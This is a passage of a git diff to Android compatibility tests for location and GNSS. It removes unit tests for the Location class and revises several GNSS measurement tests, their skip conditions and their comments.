-    private final byte TEST_KEY2VALUE = 10;
-
-    @Test
-    public void testConstructor() {
-        new Location("LocationProvider");
-
-        Location l = createTestLocation();
-        Location location = new Location(l);
-        assertTestLocation(location);
-
-        try {
-            new Location((Location) null);
-            fail("should throw NullPointerException");
-        } catch (NullPointerException e) {
-            // expected.
-        }
-    }
-
-    @Test
-    public void testDump() {
-        StringBuilder sb = new StringBuilder();
-        StringBuilderPrinter printer = new StringBuilderPrinter(sb);
-        Location location = new Location("LocationProvider");
-        location.dump(printer, "");
-        assertNotNull(sb.toString());
-    }
-
-    @Test
-    public void testBearingTo() {
-        Location location = new Location("");
-        Location dest = new Location("");
-
-        // set the location to Beijing
-        location.setLatitude(39.9);
-        location.setLongitude(116.4);
-        // set the destination to Chengdu
-        dest.setLatitude(30.7);
-        dest.setLongitude(104.1);
-        assertEquals(-128.66, location.bearingTo(dest), DELTA);
-
-        float bearing;
-        Location zeroLocation = new Location("");
-        zeroLocation.setLatitude(0);
-        zeroLocation.setLongitude(0);
-
-        Location testLocation = new Location("");
-        testLocation.setLatitude(0);
-        testLocation.setLongitude(150);
-
-        bearing = zeroLocation.bearingTo(zeroLocation);
-        assertEquals(0.0f, bearing, DELTA);
-
-        bearing = zeroLocation.bearingTo(testLocation);
-        assertEquals(90.0f, bearing, DELTA);
-
-        testLocation.setLatitude(90);
-        testLocation.setLongitude(0);
-        bearing = zeroLocation.bearingTo(testLocation);
-        assertEquals(0.0f, bearing, DELTA);
-
-        try {
-            location.bearingTo(null);
-            fail("should throw NullPointerException");
-        } catch (NullPointerException e) {
-            // expected.
-        }
-    }
-
-    @Test
-    public void testConvert_CoordinateToRepresentation() {
-        DecimalFormat df = new DecimalFormat("###.#####");
-        String result;
-
-        result = Location.convert(-80.0, Location.FORMAT_DEGREES);
-        assertEquals("-" + df.format(80.0), result);
-
-        result = Location.convert(-80.085, Location.FORMAT_MINUTES);
-        assertEquals("-80:" + df.format(5.1), result);
-
-        result = Location.convert(-80, Location.FORMAT_MINUTES);
-        assertEquals("-80:" + df.format(0), result);
-
-        result = Location.convert(-80.075, Location.FORMAT_MINUTES);
-        assertEquals("-80:" + df.format(4.5), result);
-
-        result = Location.convert(-80.075, Location.FORMAT_DEGREES);
-        assertEquals("-" + df.format(80.075), result);
-
-        result = Location.convert(-80.075, Location.FORMAT_SECONDS);
-        assertEquals("-80:4:30", result);
-
-        try {
-            Location.convert(-181, Location.FORMAT_SECONDS);
-            fail("should throw IllegalArgumentException.");
-        } catch (IllegalArgumentException e) {
-            // expected.
-        }
-
-        try {
-            Location.convert(181, Location.FORMAT_SECONDS);
-            fail("should throw IllegalArgumentException.");
-        } catch (IllegalArgumentException e) {
-            // expected.
-        }
-
-        try {
-            Location.convert(-80.075, -1);
-            fail("should throw IllegalArgumentException.");
-        } catch (IllegalArgumentException e) {
-            // expected.
-        }
-    }
-
-    @Test
-    public void testConvert_RepresentationToCoordinate() {
-        double result;
-
-        result = Location.convert("-80.075");
-        assertEquals(-80.075, result, DELTA);
-
-        result = Location.convert("-80:05.10000");
-        assertEquals(-80.085, result, DELTA);
-
-        result = Location.convert("-80:04:03.00000");
-        assertEquals(-80.0675, result, DELTA);
-
-        result = Location.convert("-80:4:3");
-        assertEquals(-80.0675, result, DELTA);
-
-        try {
-            Location.convert(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e){
-            // expected.
-        }
-
-        try {
-            Location.convert(":");
-            fail("should throw IllegalArgumentException.");
-        } catch (IllegalArgumentException e){
-            // expected.
-        }
-
-        try {
-            Location.convert("190:4:3");
-            fail("should throw IllegalArgumentException.");
-        } catch (IllegalArgumentException e){
-            // expected.
-        }
-
-        try {
-            Location.convert("-80:60:3");
-            fail("should throw IllegalArgumentException.");
-        } catch (IllegalArgumentException e){
-            // expected.
-        }
-
-        try {
-            Location.convert("-80:4:60");
-            fail("should throw IllegalArgumentException.");
-        } catch (IllegalArgumentException e){
-            // expected.
-        }
-    }
-
-    @Test
-    public void testDescribeContents() {
-        Location location = new Location("");
-        location.describeContents();
-    }
-
-    @Test
-    public void testDistanceBetween() {
-        float[] result = new float[3];
-        Location.distanceBetween(0, 0, 0, 0, result);
-        assertEquals(0.0, result[0], DELTA);
-        assertEquals(0.0, result[1], DELTA);
-        assertEquals(0.0, result[2], DELTA);
-
-        Location.distanceBetween(20, 30, -40, 140, result);
-        assertEquals(1.3094936E7, result[0], 1);
-        assertEquals(125.4538, result[1], DELTA);
-        assertEquals(93.3971, result[2], DELTA);
-
-        try {
-            Location.distanceBetween(20, 30, -40, 140, null);
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-            // expected.
-        }
-
-        try {
-            Location.distanceBetween(20, 30, -40, 140, new float[0]);
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-            // expected.
-        }
-    }
-
-    @Test
-    public void testDistanceTo() {
-        float distance;
-        Location zeroLocation = new Location("");
-        zeroLocation.setLatitude(0);
-        zeroLocation.setLongitude(0);
-
-        Location testLocation = new Location("");
-        testLocation.setLatitude(30);
-        testLocation.setLongitude(50);
-
-        distance = zeroLocation.distanceTo(zeroLocation);
-        assertEquals(0, distance, DELTA);
-
-        distance = zeroLocation.distanceTo(testLocation);
-        assertEquals(6244139.0, distance, 1);
-    }
-
-    @Test
-    public void testAccessAccuracy() {
-        Location location = new Location("");
-        assertFalse(location.hasAccuracy());
-
-        location.setAccuracy(1.0f);
-        assertEquals(1.0, location.getAccuracy(), DELTA);
-        assertTrue(location.hasAccuracy());
-    }
-
-    @Test
-    public void testAccessVerticalAccuracy() {
-        Location location = new Location("");
-        assertFalse(location.hasVerticalAccuracy());
-
-        location.setVerticalAccuracyMeters(1.0f);
-        assertEquals(1.0, location.getVerticalAccuracyMeters(), DELTA);
-        assertTrue(location.hasVerticalAccuracy());
-    }
-
-    @Test
-    public void testAccessSpeedAccuracy() {
-        Location location = new Location("");
-        assertFalse(location.hasSpeedAccuracy());
-
-        location.setSpeedAccuracyMetersPerSecond(1.0f);
-        assertEquals(1.0, location.getSpeedAccuracyMetersPerSecond(), DELTA);
-        assertTrue(location.hasSpeedAccuracy());
-    }
-
-    @Test
-    public void testAccessBearingAccuracy() {
-        Location location = new Location("");
-        assertFalse(location.hasBearingAccuracy());
-
-        location.setBearingAccuracyDegrees(1.0f);
-        assertEquals(1.0, location.getBearingAccuracyDegrees(), DELTA);
-        assertTrue(location.hasBearingAccuracy());
-    }
-
-
-    @Test
-    public void testAccessAltitude() {
-        Location location = new Location("");
-        assertFalse(location.hasAltitude());
-
-        location.setAltitude(1.0);
-        assertEquals(1.0, location.getAltitude(), DELTA);
-        assertTrue(location.hasAltitude());
-    }
-
-    @Test
-    public void testAccessBearing() {
-        Location location = new Location("");
-        assertFalse(location.hasBearing());
-
-        location.setBearing(1.0f);
-        assertEquals(1.0, location.getBearing(), DELTA);
-        assertTrue(location.hasBearing());
-
-        location.setBearing(371.0f);
-        assertEquals(11.0, location.getBearing(), DELTA);
-        assertTrue(location.hasBearing());
-
-        location.setBearing(-361.0f);
-        assertEquals(359.0, location.getBearing(), DELTA);
-        assertTrue(location.hasBearing());
-    }
-
-    @Test
-    public void testAccessExtras() {
-        Location location = createTestLocation();
-
-        assertTestBundle(location.getExtras());
-
-        location.setExtras(null);
-        assertNull(location.getExtras());
-    }
-
-    @Test
-    public void testAccessLatitude() {
-        Location location = new Location("");
-
-        location.setLatitude(0);
-        assertEquals(0, location.getLatitude(), DELTA);
-
-        location.setLatitude(90);
-        assertEquals(90, location.getLatitude(), DELTA);
-
-        location.setLatitude(-90);
-        assertEquals(-90, location.getLatitude(), DELTA);
-    }
-
-    @Test
-    public void testAccessLongitude() {
-        Location location = new Location("");
-
-        location.setLongitude(0);
-        assertEquals(0, location.getLongitude(), DELTA);
-
-        location.setLongitude(180);
-        assertEquals(180, location.getLongitude(), DELTA);
-
-        location.setLongitude(-180);
-        assertEquals(-180, location.getLongitude(), DELTA);
-    }
-
-    @Test
-    public void testAccessProvider() {
-        Location location = new Location("");
-
-        String provider = "Location Provider";
-        location.setProvider(provider);
-        assertEquals(provider, location.getProvider());
-
-        location.setProvider(null);
-        assertNull(location.getProvider());
-    }
-
-    @Test
-    public void testAccessSpeed() {
-        Location location = new Location("");
-        assertFalse(location.hasSpeed());
-
-        location.setSpeed(234.0045f);
-        assertEquals(234.0045, location.getSpeed(), DELTA);
-        assertTrue(location.hasSpeed());
-    }
-
-    @Test
-    public void testAccessTime() {
-        Location location = new Location("");
-
-        location.setTime(0);
-        assertEquals(0, location.getTime());
-
-        location.setTime(Long.MAX_VALUE);
-        assertEquals(Long.MAX_VALUE, location.getTime());
-
-        location.setTime(12000);
-        assertEquals(12000, location.getTime());
-    }
-
-    @Test
-    public void testAccessElapsedRealtime() {
-        Location location = new Location("");
-
-        location.setElapsedRealtimeNanos(0);
-        assertEquals(0, location.getElapsedRealtimeNanos());
-
-        location.setElapsedRealtimeNanos(Long.MAX_VALUE);
-        assertEquals(Long.MAX_VALUE, location.getElapsedRealtimeNanos());
-
-        location.setElapsedRealtimeNanos(12000);
-        assertEquals(12000, location.getElapsedRealtimeNanos());
-    }
-
-    @Test
-    public void testAccessElapsedRealtimeUncertaintyNanos() {
-        Location location = new Location("");
-        assertFalse(location.hasElapsedRealtimeUncertaintyNanos());
-        assertEquals(0.0, location.getElapsedRealtimeUncertaintyNanos(), DELTA);
-
-        location.setElapsedRealtimeUncertaintyNanos(12000.0);
-        assertEquals(12000.0, location.getElapsedRealtimeUncertaintyNanos(), DELTA);
-        assertTrue(location.hasElapsedRealtimeUncertaintyNanos());
-
-        location.reset();
-        assertFalse(location.hasElapsedRealtimeUncertaintyNanos());
-        assertEquals(0.0, location.getElapsedRealtimeUncertaintyNanos(), DELTA);
-    }
-
-    @Test
-    public void testSet() {
-        Location location = new Location("");
-
-        Location loc = createTestLocation();
-
-        location.set(loc);
-        assertTestLocation(location);
-
-        location.reset();
-        assertNull(location.getProvider());
-        assertEquals(0, location.getTime());
-        assertEquals(0, location.getLatitude(), DELTA);
-        assertEquals(0, location.getLongitude(), DELTA);
-        assertEquals(0, location.getAltitude(), DELTA);
-        assertFalse(location.hasAltitude());
-        assertEquals(0, location.getSpeed(), DELTA);
-        assertFalse(location.hasSpeed());
-        assertEquals(0, location.getBearing(), DELTA);
-        assertFalse(location.hasBearing());
-        assertEquals(0, location.getAccuracy(), DELTA);
-        assertFalse(location.hasAccuracy());
-
-        assertEquals(0, location.getVerticalAccuracyMeters(), DELTA);
-        assertEquals(0, location.getSpeedAccuracyMetersPerSecond(), DELTA);
-        assertEquals(0, location.getBearingAccuracyDegrees(), DELTA);
-
-        assertFalse(location.hasVerticalAccuracy());
-        assertFalse(location.hasSpeedAccuracy());
-        assertFalse(location.hasBearingAccuracy());
-
-        assertNull(location.getExtras());
-    }
-
-    @Test
-    public void testToString() {
-        Location location = createTestLocation();
-
-        assertNotNull(location.toString());
-    }
-
-    @Test
-    public void testWriteToParcel() {
-        Location location = createTestLocation();
-
-        Parcel parcel = Parcel.obtain();
-        location.writeToParcel(parcel, 0);
-        parcel.setDataPosition(0);
-        Location newLocation = Location.CREATOR.createFromParcel(parcel);
-        assertTestLocation(newLocation);
-
-        parcel.recycle();
-    }
-
-    private void assertTestLocation(Location l) {
-        assertNotNull(l);
-        assertEquals(TEST_PROVIDER, l.getProvider());
-        assertEquals(TEST_ACCURACY, l.getAccuracy(), DELTA);
-        assertEquals(TEST_VERTICAL_ACCURACY, l.getVerticalAccuracyMeters(), DELTA);
-        assertEquals(TEST_SPEED_ACCURACY, l.getSpeedAccuracyMetersPerSecond(), DELTA);
-        assertEquals(TEST_BEARING_ACCURACY, l.getBearingAccuracyDegrees(), DELTA);
-        assertEquals(TEST_ALTITUDE, l.getAltitude(), DELTA);
-        assertEquals(TEST_LATITUDE, l.getLatitude(), DELTA);
-        assertEquals(TEST_BEARING, l.getBearing(), DELTA);
-        assertEquals(TEST_LONGITUDE, l.getLongitude(), DELTA);
-        assertEquals(TEST_SPEED, l.getSpeed(), DELTA);
-        assertEquals(TEST_TIME, l.getTime());
-        assertTestBundle(l.getExtras());
-    }
-
-    private Location createTestLocation() {
-        Location l = new Location(TEST_PROVIDER);
-        l.setAccuracy(TEST_ACCURACY);
-        l.setVerticalAccuracyMeters(TEST_VERTICAL_ACCURACY);
-        l.setSpeedAccuracyMetersPerSecond(TEST_SPEED_ACCURACY);
-        l.setBearingAccuracyDegrees(TEST_BEARING_ACCURACY);
-
-        l.setAltitude(TEST_ALTITUDE);
-        l.setLatitude(TEST_LATITUDE);
-        l.setBearing(TEST_BEARING);
-        l.setLongitude(TEST_LONGITUDE);
-        l.setSpeed(TEST_SPEED);
-        l.setTime(TEST_TIME);
-        Bundle bundle = new Bundle();
-        bundle.putBoolean(TEST_KEY1NAME, TEST_KEY1VALUE);
-        bundle.putByte(TEST_KEY2NAME, TEST_KEY2VALUE);
-        l.setExtras(bundle);
-
-        return l;
-    }
-
-    private void assertTestBundle(Bundle bundle) {
-        assertFalse(bundle.getBoolean(TEST_KEY1NAME));
-        assertEquals(TEST_KEY2VALUE, bundle.getByte(TEST_KEY2NAME));
-    }
-}
diff --git a/tests/location/location_gnss/Android.bp b/tests/location/location_gnss/Android.bp
index 97fb815..5748862 100644
--- a/tests/location/location_gnss/Android.bp
+++ b/tests/location/location_gnss/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_helper_library {
     name: "cts-location-gnss-tests",
     libs: [
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java
index a908057..9cb5b6a 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java
@@ -23,7 +23,6 @@
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
 import android.util.Log;
 
 import java.util.ArrayList;
@@ -45,6 +44,11 @@
     private static final int LOCATION_TO_COLLECT_COUNT = 8;
     private static final int PASSIVE_LOCATION_TO_COLLECT_COUNT = 100;
     private static final int TIMEOUT_IN_SEC = 120;
+    private static final long MILLIS_PER_NANO = 1_000_000;
+
+    // Maximum time drift between elapsedRealtime (Android SystemClock time) and utcTime (gps
+    // time calculated from the chipset).
+    private static final long MAX_TIME_DRIFT_MILLIS = 1000;
 
     // Minimum time interval between fixes in milliseconds.
     private static final int[] FIX_INTERVALS_MILLIS = {0, 1000, 5000, 15000};
@@ -82,9 +86,7 @@
     }
 
     public void testLocationUpdatesAtVariousIntervals() throws Exception {
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
-                mTestLocationManager,
-                TAG)) {
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
@@ -116,6 +118,23 @@
         List<Location> activeLocations = activeLocationListener.getReceivedLocationList();
         List<Location> passiveLocations = passiveLocationListener.getReceivedLocationList();
         validateLocationUpdateInterval(activeLocations, passiveLocations, fixIntervalMillis);
+        validateTimeDriftBetweenUtcTimeAndElapsedRealtime(activeLocations);
+    }
+
+    private static void validateTimeDriftBetweenUtcTimeAndElapsedRealtime(
+            List<Location> activeLocations) {
+        SoftAssert softAssert = new SoftAssert(TAG);
+        long firstTimeDiff = (activeLocations.get(0).getElapsedRealtimeNanos()
+                / MILLIS_PER_NANO) - activeLocations.get(0).getTime();
+        for (int i = 1; i < activeLocations.size(); i++) {
+            long timeDiff = (activeLocations.get(i).getElapsedRealtimeNanos() / MILLIS_PER_NANO)
+                    - activeLocations.get(i).getTime();
+            long timeDrift = Math.abs(timeDiff - firstTimeDiff);
+            softAssert.assertTrue("Time drift between elapsedRealtime and utcTime must be bounded: "
+                            + timeDrift + " (max: " + MAX_TIME_DRIFT_MILLIS + ")",
+                    timeDrift < MAX_TIME_DRIFT_MILLIS);
+        }
+        softAssert.assertAll();
     }
 
     private static void validateLocationUpdateInterval(List<Location> activeLocations,
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationValuesTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationValuesTest.java
index a872c49..6ea9477 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationValuesTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationValuesTest.java
@@ -22,7 +22,6 @@
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
 import android.util.Log;
 
 /**
@@ -67,8 +66,7 @@
    */
   public void testAccuracyFields() throws Exception {
     // Checks if GPS hardware feature is present, skips test (pass) if not
-    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N, mTestLocationManager,
-        TAG)) {
+    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
       return;
     }
 
@@ -139,8 +137,7 @@
    */
   public void testLocationRegularFields() throws Exception {
     // Checks if GPS hardware feature is present, skips test (pass) if not
-    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N, mTestLocationManager,
-        TAG)) {
+    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
       return;
     }
 
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementRegistrationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementRegistrationTest.java
index 6db3d4f..f615d51 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementRegistrationTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementRegistrationTest.java
@@ -17,6 +17,7 @@
 package android.location.cts.gnss;
 
 import android.location.GnssMeasurement;
+import android.location.GnssMeasurementRequest;
 import android.location.GnssMeasurementsEvent;
 import android.location.GnssStatus;
 import android.location.cts.common.GnssTestCase;
@@ -25,7 +26,6 @@
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
 import android.util.Log;
 
 import java.util.List;
@@ -36,11 +36,8 @@
  * Test steps:
  * 1. Register a listener for {@link GnssMeasurementsEvent}s.
  * 2. Check {@link GnssMeasurementsEvent} status: if the status is not
- *    {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped because one of the
- *    following reasons:
- *          2.1 the device does not support the feature,
- *          2.2 GPS is disabled in the device,
- *          2.3 Location is disabled in the device.
+ *    {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped if the device does not
+ *    support the feature,
  * 3. If at least one {@link GnssMeasurementsEvent} is received, the test will pass.
  * 2. If no {@link GnssMeasurementsEvent} are received, then check whether the device is deep indoor.
  *    This is done by performing the following steps:
@@ -49,10 +46,9 @@
  *          2.3 If no {@link GnssStatus} is received this will mean that the device is located
  *              indoor. Test will be skipped.
  *          2.4 If we receive a {@link GnssStatus}, it mean that {@link GnssMeasurementsEvent}s are
- *              provided only if the application registers for location updates as well:
- *                  2.4.1 The test will pass with a warning for the M release.
- *                  2.4.2 The test might fail in a future Android release, when this requirement
- *                        becomes mandatory.
+ *              provided only if the application registers for location updates as well. Since
+ *              Android Q, it is mandatory to report GnssMeasurement even if a location has not
+ *              yet been reported. Therefore, the test fails.
  */
 public class GnssMeasurementRegistrationTest extends GnssTestCase {
 
@@ -86,9 +82,7 @@
      */
     public void testGnssMeasurementRegistration() throws Exception {
         // Checks if GPS hardware feature is present, skips test (pass) if not
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
-                mTestLocationManager,
-                TAG)) {
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
@@ -101,26 +95,47 @@
         mMeasurementListener = new TestGnssMeasurementListener(TAG, GPS_EVENTS_COUNT);
         mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
 
-        mMeasurementListener.await();
-        if (!mMeasurementListener.verifyStatus()) {
-            // If test is strict verifyStatus will assert conditions are good for further testing.
-            // Else this returns false and, we arrive here, and then return from here (pass.)
+        verifyGnssMeasurementsReceived();
+    }
+
+    /**
+     * Test GPS measurements registration with full tracking enabled.
+     */
+    public void testGnssMeasurementRegistration_enableFullTracking() throws Exception {
+        // Checks if GPS hardware feature is present, skips test (pass) if not,
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
+        if (TestMeasurementUtil.isAutomotiveDevice(getContext())) {
+            Log.i(TAG, "Test is being skipped because the system has the AUTOMOTIVE feature.");
+            return;
+        }
+
+        // Register for GPS measurements.
+        mMeasurementListener = new TestGnssMeasurementListener(TAG, GPS_EVENTS_COUNT);
+        mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener,
+                new GnssMeasurementRequest.Builder().setFullTracking(true).build());
+
+        verifyGnssMeasurementsReceived();
+    }
+
+    private void verifyGnssMeasurementsReceived() throws InterruptedException {
+        mMeasurementListener.await();
+
         List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
         Log.i(TAG, "Number of GnssMeasurement events received = " + events.size());
 
         if (!events.isEmpty()) {
-           // Test passes if we get at least 1 pseudorange.
-           Log.i(TAG, "Received GPS measurements. Test Pass.");
-           return;
+            // Test passes if we get at least 1 pseudorange.
+            Log.i(TAG, "Received GPS measurements. Test Pass.");
+            return;
         }
 
         SoftAssert.failAsWarning(
                 TAG,
                 "GPS measurements were not received without registering for location updates. "
-                + "Trying again with Location request.");
+                        + "Trying again with Location request.");
 
         // Register for location updates.
         mLocationListener = new TestLocationListener(EVENTS_COUNT);
@@ -137,6 +152,14 @@
         softAssert.assertTrue(
                 "Did not receive any GnssMeasurement events.  Retry outdoors?",
                 !events.isEmpty());
+
+        softAssert.assertTrue(
+                "Received GnssMeasurement events only when registering for location updates. "
+                        + "Since Android Q, device MUST report GNSS measurements, as soon as they"
+                        + " are found, even if a location calculated from GPS/GNSS is not yet "
+                        + "reported.",
+                events.isEmpty());
+
         softAssert.assertAll();
     }
 }
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java
index e8c8ab1..20357c1 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java
@@ -24,7 +24,6 @@
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
 import android.util.Log;
 
 import java.util.HashSet;
@@ -40,12 +39,10 @@
  * 3. Wait for {@link #LOCATION_TO_COLLECT_COUNT} locations.
  *          3.1 Confirm locations have been found.
  * 4. Check {@link GnssMeasurementsEvent} status: if the status is not
- *    {@link GnssMeasurementsEvent.Callback#STATUS_READY}, the test will be skipped because
- *    one of the following reasons:
- *          4.1 the device does not support the GPS feature,
- *          4.2 GPS Location is disabled in the device and this is CTS (non-verifier)
- *  5. Verify {@link GnssMeasurement}s (all mandatory fields), the test will fail if any of the
- *     mandatory fields is not populated or in the expected range.
+ *    {@link GnssMeasurementsEvent.Callback#STATUS_READY}, the test will be skipped if the device
+ *    does not support the GPS feature.
+ * 5. Verify {@link GnssMeasurement}s (all mandatory fields), the test will fail if any of the
+ *    mandatory fields is not populated or in the expected range.
  */
 public class GnssMeasurementValuesTest extends GnssTestCase {
 
@@ -84,9 +81,7 @@
      */
     public void testListenForGnssMeasurements() throws Exception {
         // Checks if GPS hardware feature is present, skips test (pass) if not
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
-                mTestLocationManager,
-                TAG)) {
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
@@ -118,12 +113,6 @@
 
         Log.i(TAG, "Location status received = " + mLocationListener.isLocationReceived());
 
-        if (!mMeasurementListener.verifyStatus()) {
-            // If test is strict and verifyStatus returns false, an assert exception happens and
-            // test fails.   If test is not strict, we arrive here, and:
-            return; // exit (with pass)
-        }
-
         List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
         int eventCount = events.size();
         Log.i(TAG, "Number of Gps Event received = " + eventCount);
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementWhenNoLocationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementWhenNoLocationTest.java
index 35aaa4d..9acc4af 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementWhenNoLocationTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementWhenNoLocationTest.java
@@ -22,7 +22,6 @@
 import android.location.cts.common.GnssTestCase;
 import android.location.cts.common.TestGnssMeasurementListener;
 import android.location.cts.common.TestLocationListener;
-import android.os.Build;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 import android.location.cts.common.TestUtils;
@@ -50,15 +49,12 @@
  *    {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped because one of the
  *    following reasons:
  *          4.1 the device does not support the feature,
- *          4.2 GPS Locaiton is disabled in the device && the test is CTS non-verifier
  * 6. Check whether the device is deep indoor. This is done by performing the following steps:
  *          4.1 If no {@link GnssStatus} is received this will mean that the device is located
  *              indoor. The test will be skipped if not strict (CTS or pre-2016.)
  * 7. When the device is not indoor, verify that we receive {@link GnssMeasurementsEvent}s before
  *    a GPS location is calculated, and reported by GPS HAL. If {@link GnssMeasurementsEvent}s are
- *    only received after a location update is received:
- *          4.1.1 The test will pass with a warning for the M release.
- *          4.1.2 The test will fail on N with CTS-Verifier & newer (2016+) GPS hardware.
+ *    only received after a location update is received, the test will pass with a warning.
  * 8. If {@link GnssMeasurementsEvent}s are received: verify all mandatory fields, the test will
  *    fail if any of the mandatory fields is not populated or in the expected range.
  */
@@ -102,9 +98,7 @@
     @AppModeFull(reason = "Requires use of extra LocationManager commands")
     public void testGnssMeasurementWhenNoLocation() throws Exception {
         // Checks if GPS hardware feature is present, skips test (pass) if not
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
-                mTestLocationManager,
-                TAG)) {
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
@@ -115,13 +109,9 @@
 
         // Set the device in airplane mode so that the GPS assistance data cannot be downloaded.
         // This results in GNSS measurements being reported before a location is reported.
-        // NOTE: Changing global setting airplane_mode_on is not allowed in CtsVerifier application.
-        //       Hence, airplane mode is turned on only when this test is run as a regular CTS test
-        //       and not when it is invoked through CtsVerifier.
-        boolean isAirplaneModeOffBeforeTest = true;
         // Record the state of the airplane mode before the test so that we can restore it
         // after the test.
-        isAirplaneModeOffBeforeTest = !TestUtils.isAirplaneModeOn();
+        boolean isAirplaneModeOffBeforeTest = !TestUtils.isAirplaneModeOn();
         if (isAirplaneModeOffBeforeTest) {
             TestUtils.setAirplaneModeOn(getContext(), true);
         }
@@ -145,11 +135,6 @@
             mLocationListener = new TestLocationListener(LOCATIONS_COUNT);
             mTestLocationManager.requestLocationUpdates(mLocationListener);
 
-            mMeasurementListener.awaitStatus();
-            if (!mMeasurementListener.verifyStatus()) {
-                return; // exit peacefully (if not already asserted out inside verifyStatus)
-            }
-
             // Wait for two measurement events - this is better than waiting for a location
             // calculation because the test generally completes much faster.
             mMeasurementListener.await();
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementsConstellationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementsConstellationTest.java
index 0c30cce..3db1325 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementsConstellationTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementsConstellationTest.java
@@ -25,7 +25,6 @@
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
 import android.util.Log;
 
 import java.util.List;
@@ -36,15 +35,9 @@
  * Test steps:
  * 1. Register a listener for {@link GnssMeasurementsEvent}s and location updates.
  * 2. Check {@link GnssMeasurementsEvent} status: if the status is not
- *    {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped because one of the
- *    following reasons:
- *          2.1 the device does not support the feature,
- *          2.2 GPS is disabled in the device,
- *          // TODO: This is true only for cts, for verifier mode we need to modify
- *                   TestGnssMeasurementListener to fail the test.
- *          2.3 Location is disabled in the device.
- * 3. If no {@link GnssMeasurementsEvent} is received then test is skipped in cts mode and fails in
- *    cts verifier mode.
+ *    {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped if the device does not
+ *    support the feature,
+ * 3. If no {@link GnssMeasurementsEvent} is received then the test fails.
  * 4. Check if one of the received measurements has constellation other than GPS.
  */
 public class GnssMeasurementsConstellationTest extends GnssTestCase {
@@ -79,9 +72,7 @@
      */
     public void testGnssMultiConstellationSupported() throws Exception {
         // Checks if GPS hardware feature is present, skips test (pass) if not
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
-                mTestLocationManager,
-                TAG)) {
